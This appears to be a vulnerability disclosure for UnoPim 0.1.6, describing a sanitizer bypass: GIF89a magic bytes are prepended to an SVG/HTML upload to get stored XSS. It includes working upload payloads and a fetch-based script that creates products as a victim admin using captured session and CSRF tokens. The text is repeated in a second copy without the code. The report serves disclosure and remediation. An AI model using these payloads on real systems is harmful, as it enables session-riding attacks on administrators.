Summary
Affected Functionality: User creation
Endpoint: /admin/settings/users/create
Details
https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19
See the mimetype is checked for validation.
Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes
for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.
File containing is considered as svg and is sanitized:
Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)">
<rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
Sanitization bypass using MIME type manipulation:
Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml
GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)">
<rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
PoC
Upload POC.html as image.
File content:
GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(document.cookie)">
<rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>
<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>
I changed extension to .html because even though POC.svg successfully bypassed the sanitization.
When accessing the URL, the page didn't render as it should starts with <.
Since html doesn't have any such limitation we can access it.
Access the image URL to see the XSS popup.
Impact
Suppose another admin visits the image link, the attacker can perform any operation as the victim.
The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )
Example
create a product behalf of victim.
John doe (default admin ) creates another admin ( [email protected] )
When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created.
// info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link.
Please see the detailed POC video for more details:
https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2
Extended POC for performing the action shown in video:
POC.html:
<html>
<script>
const url = 'http://localhost:8000/admin/catalog/products/create';
// Create a FormData object to hold the form data
const formData = new FormData();
formData.append('type', 'simple');
formData.append('attribute_family_id', '1');
formData.append('sku', 'Created-by-ADMIN-VICTIM888');
// Define the headers
const headers = {
'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',
'X-Requested-With': 'XMLHttpRequest',
'Accept': 'application/json, text/plain, */*',
'Origin': 'http://localhost:8000',
'Referer': 'http://localhost:8000/admin/catalog/products',
'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'
};
// Send the POST request
fetch(url, {
method: 'POST',
headers: headers,
body: formData,
credentials: 'include' // Include cookies in the request
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok ' + response.statusText);
}
return response.json(); // Assuming the response is JSON
})
.then(data => {
console.log('Success:', data);
})
.catch(error => {
console.error('Error:', error);
});
</script>
<html>
// make sure to update the cookies and CSRF tokens in the script to the attacker's.
Recommendation:
Check file extension: whitelist allowed extensions.
Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it.
Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.
Affected Version: 0.1.6
References
sn1p3rt3s7 Reporter
Summary
Affected Functionality: User creation
Endpoint:
/admin/settings/users/createDetails
https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19
See the mimetype is checked for validation.
Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes
for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.
File containing is considered as svg and is sanitized:
Sanitization bypass using MIME type manipulation:
PoC
Upload
POC.htmlas image.File content:
I changed extension to .html because even though POC.svg successfully bypassed the sanitization.
When accessing the URL, the page didn't render as it should starts with <.
Since html doesn't have any such limitation we can access it.
Access the image URL to see the XSS popup.
Impact
Suppose another admin visits the image link, the attacker can perform any operation as the victim.
The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )
Example
John doe (default admin ) creates another admin ( [email protected] )
When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created.
// info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link.
Please see the detailed POC video for more details:
https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2
Extended POC for performing the action shown in video:
POC.html:
// make sure to update the cookies and CSRF tokens in the script to the attacker's.
Recommendation:
Check file extension: whitelist allowed extensions.
Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it.
Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.
Affected Version: 0.1.6
References